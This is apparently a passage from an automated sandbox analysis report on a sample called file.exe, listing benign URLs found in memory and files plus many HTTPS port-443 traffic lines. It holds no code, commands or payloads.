Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://vibe.naver.com/today
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://web.telegram.org/
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://web.whatsapp.com
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2004624121.0000000023543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1979771130.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, IIEBGIDAAFHIJJJJEGCG.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1654149125.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, JDGIIDHJ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.10.dr, content_new.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.1654149125.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, JDGIIDHJ.0.dr, Web Data.10.dr, HDGDGHCA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 7a22f2a3-2aec-4726-8cdc-1e337a31a762.tmp.11.dr, 9e16ee97-2942-471e-b276-eb0ab7cad98b.tmp.11.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_470.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_470.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_470.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.instagram.com
Source: file.exe, 00000000.00000002.2004624121.0000000023543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1979771130.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, IIEBGIDAAFHIJJJJEGCG.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.last.fm/
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.messenger.com
Source: EHCFBFBAEBKJKEBGCAEHCFCBAE.0.dr	String found in binary or memory: https://www.mozilla.org
Source: EHCFBFBAEBKJKEBGCAEHCFCBAE.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: EHCFBFBAEBKJKEBGCAEHCFCBAE.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: EHCFBFBAEBKJKEBGCAEHCFCBAE.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1873014495.00000000237AC000.00000004.00000020.00020000.00000000.sdmp, EHCFBFBAEBKJKEBGCAEHCFCBAE.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.office.com
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.tiktok.com/
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://www.youtube.com
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
